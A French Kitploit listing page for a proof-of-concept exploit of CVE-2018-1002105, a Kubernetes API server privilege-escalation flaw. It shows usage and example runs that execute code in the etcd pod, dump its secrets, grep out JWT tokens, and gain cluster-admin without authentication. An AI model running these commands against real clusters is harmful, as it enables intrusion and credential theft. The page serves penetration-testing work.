Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
poc_CVE-2018-1002105 — PoC for CVE-2018-1002105. | Kitploit
Outils/GitHubGitHub/evict/poc_cve-2018-1002105
Privilege EscalationContainer SecurityVulnerability AnalysisExploitationWeb SecurityPenetration TestingCloud Security
GitHubevict/poc_cve-2018-1002105

poc_CVE-2018-1002105

PoC for CVE-2018-1002105.

Voir le dépôt
22237il y a 7 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2018-1002105 PoC

  • PoC authentifié
    • Démonstration
    • Utilisation
  • PoC non authentifié
    • Démonstration
    • Utilisation

Authenticated PoC

Exploit de type Preuve de Concept pour CVE-2018-1002105. L'exploit actuel nécessite les privilèges create et get sur pods et pods/exec. La prise en charge a été ajoutée pour portforward et attach, qui nécessitent des permissions similaires.

Le PoC actuel extrait les secrets du pod etcd-kubernetes par défaut.

Demo

Le PoC en action :

asciicast

Usage

root@kitploit:~
usage: poc.py [-h] --target TARGET --jwt TOKEN [--namespace NAMESPACE] --pod
              POD --method {exec,portforward,attach}
              [--privileged-namespace PNAMESPACE] [--privileged-pod PPOD]
              [--container CONTAINER] [--command COMMAND]
              [--filename FILENAME]

PoC for CVE-2018-1002105.

optional arguments:
  -h, --help            show this help message and exit

required arguments:
  --target TARGET, -t TARGET
                        API server target:port
  --jwt TOKEN, -j TOKEN
                        JWT token for service account
  --namespace NAMESPACE, -n NAMESPACE
                        Namespace with method access
  --pod POD, -p POD     Pod with method access
  --method {exec,portforward,attach}, -m {exec,portforward,attach}

optional arguments:
  --privileged-namespace PNAMESPACE, -s PNAMESPACE
                        Target namespace
  --privileged-pod PPOD, -e PPOD
                        Target privileged pod
  --container CONTAINER, -c CONTAINER
                        Target container
  --command COMMAND, -x COMMAND
                        Command to execute
  --filename FILENAME, -f FILENAME
                        File to save output to

Exemple :

root@kitploit:~
$ ./poc.py -t 10.0.2.15:6443 --jwt [token] -p [pod] -f etcd.out -m attach
[*] Building pipe using attach...
[+] Pipe opened :D
[*] Attempting code exec on etcd-kubernetes/etcd
[*] Writing output to etcd.out ....
[+] Done!

Vérifiez les tokens :

root@kitploit:~
$ grep -air eyJ etcd.db

Unauthenticated PoC

Le PoC non authentifié permet une escalade de privilèges dans le contexte de l'API exposée. Selon les fonctionnalités de l'API, il pourrait être possible d'obtenir une exécution de code sur des pods. Cette démo exploite actuellement le bug pour obtenir les droits cluster-admin sur l'API servicecatalog.k8s.io. Cet exploit devrait également fonctionner pour metrics.k8s.io ou toute API exposée via la couche agrégée.

Demo

Le PoC en action :

asciicast

Usage

root@kitploit:~
usage: unauth_poc.py [-h] --target TARGET [--api-base BASE]
                     [--api-target TARGET_API] [--api-version VERSION]
                     [--json] [--filename FILENAME]

Unauthenticated PoC for CVE-2018-1002105

optional arguments:
  -h, --help            show this help message and exit

required arguments:
  --target TARGET, -t TARGET
                        API server target:port
  --api-base BASE, -b BASE
                        Target API name i.e. "servicecatalog.k8s.io"
  --api-target TARGET_API, -u TARGET_API
                        API to access i.e. "clusterservicebrokers"

optional arguments:
  --api-version VERSION, -a VERSION
                        API version to use i.e. "v1beta1"
  --json, -j            Print json output
  --filename FILENAME, -f FILENAME
                        File to save output to

Exemple :

root@kitploit:~
$ ./unauth_poc.py -t 10.0.2.15:6443 --json -f api.out
[*] Building pipe ...
[+] Pipe opened :D
[*] Attempting to access url
[+] Pipe opened :D
[*] Writing output to api.out ....
[+] Done!

Télécharger l’outil